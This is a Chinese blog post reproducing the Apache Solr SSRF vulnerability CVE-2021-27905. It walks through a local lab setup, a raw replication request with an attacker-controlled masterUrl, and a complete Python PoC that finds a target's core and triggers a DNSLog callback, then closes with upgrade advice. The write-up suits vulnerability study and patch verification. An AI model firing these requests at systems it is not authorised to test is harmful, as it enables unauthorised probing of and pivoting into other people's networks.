• Apache Solr SSRF (CVE-2021-27905)复现


    0x00漏洞概述

    Apache solr是一个开源的搜索服务,使用java编写,运行在serblet容器的一个独立的全文搜索服务器,是apache luncene项目的开源企业搜索平台。

    0x01影响范围

    Apache solr <=8.8.2

    0x02漏洞复现

    1、本次复现使用的是apache solr8.8.1版本,下载完成后解压进入bin目录,执行:

      

    Solr start -p 8983  //启动环境

    (下载链接:http://archive.apache.org/dist/lucene/solr/8.8.1/)

     

    2、点击Core Admin创建core发现报错

     

    此时solr在server/solr目录下已经创建了名字new_core的文件夹,我们把server/solr/configsets/default文件夹下的conf文件复制到新建的new_core文件下:

     

    此时即可创建成功;

    访问http://127.0.0.1:8983/solr/admin/cores?indexInfo=false&wt=json,便可以看到core的名字:

    3、SSRF数据包(其中core为实际节点的core值,dnslog为Dnslog的地址):

    GET /solr/{core}/replication?command=fetchindex&masterUrl={dnslog} HTTP/1.1
    Host: IP
    Accept: application/json, text/plain, */*
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.128 Safari/537.36
    Referer: http://IP/solr/
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9
    Connection: close
    

     

    4、POC复现:

    POC:

    # CVE-2021-27905
    # Apache solr ssrf
    
    import requests
    import urllib3
    import json
    import sys, getopt
    urllib3.disable_warnings()
    
    
    def title():
        print("[-------------------------------------------------------------]")
        print("[--------------      Apache Solr SSRF漏洞      ---------------]")
        print("[--------               CVE-2021-27905               ----------]")
        print("[--------use:python3 CVE-2021-27905.py -u url -d dnslog--------]")
        print("[--------              Author:Henry4E36            ------------]")
        print("[-------------------------------------------------------------]")
    
    def commit():
        url = ""
        try:
            opt, agrs = getopt.getopt(sys.argv[1:], "hu:d:", ["help", "url=","dnslog="])
            for op, value in opt:
                if op == "-h" or op == "--help":
                    print("""
                [-]   Apache Solr SSRF漏洞 (CVE-2021-27905)
                [-]   Options:
                         -h or --help      :   方法说明
                         -u or --url       :   站点URL地址
                         -d or --dnslog    :   DnsLog
                    """)
                    sys.exit(0)
                elif op == "-u" or op == "--url=":
                    url = value
                elif op == "-d" or op == "--dnslog=":
                    dnslog = value
                else:
                    print("[-] 参数有误! eg:>>> python3 CVE-2021-27905.py -u http://127.0.0.1 -d dnslog")
                    sys.exit()
            return url, dnslog
    
        except Exception as e:
            print("[-] 参数有误! eg:>>> python3 CVE-2021-27905.py -u http://127.0.0.1 -d dnslog")
            sys.exit(0)
    
    def target_core(url):
        target_url = url + "/solr/admin/cores?indexInfo=false&wt=json"
        headers = {
            "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36"
        }
        try:
            res = requests.get(url=target_url,headers=headers,verify=False,timeout=5)
            core = list(json.loads(res.text)["status"])[0]
            return core
        except Exception as e:
            print(f"[!]  目标系统: {url} 出现意外!n ",e)
    
    def ssrf(core,dnslog):
        target_url = url + f"/solr/{core}/replication/?command=fetchindex&masterUrl=http://{dnslog}"
        headers = {
            "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36"
        }
        try:
            res = requests.get(url=target_url, headers=headers, verify=False, timeout=5)
            status = json.loads(res.text)["status"]
            if res.status_code == 200 and status == "OK":
                print(f"[!]  33[31m目标系统: {url} 可能存在SSRF漏洞,请检查DNSLog响应!33[0m")
            else:
                print(f"[0]  目标系统: {url} 不存在SSRF漏洞")
    
        except Exception as e:
            print(f"[!]  目标系统: {url} 出现意外!n ", e)
    
    
    if __name__ == "__main__":
        title()
        url ,dnslog = commit()
        core = target_core(url)
        ssrf(core,dnslog)
    POC.py

    0x03修复建议:

    升级到最新版本

    下载地址:https://solr.apache.org/downloads.html

  • 相关阅读:
    布署脚本
    HTTP请求报文支持的各种方法
    robot framework学习笔记之六—自动变量
    robot framework接口测试之二-四种常见的POST提交数据方式
    自定义过滤器-时间转化器
    自定义过滤器-有参数
    自定义过滤器-没有参数
    过滤器-orderBy
    过滤器-limitBy
    过滤器-filterBy
  • 原文地址:https://www.cnblogs.com/twlr/p/14768156.html
Copyright © 2020-2023  润新知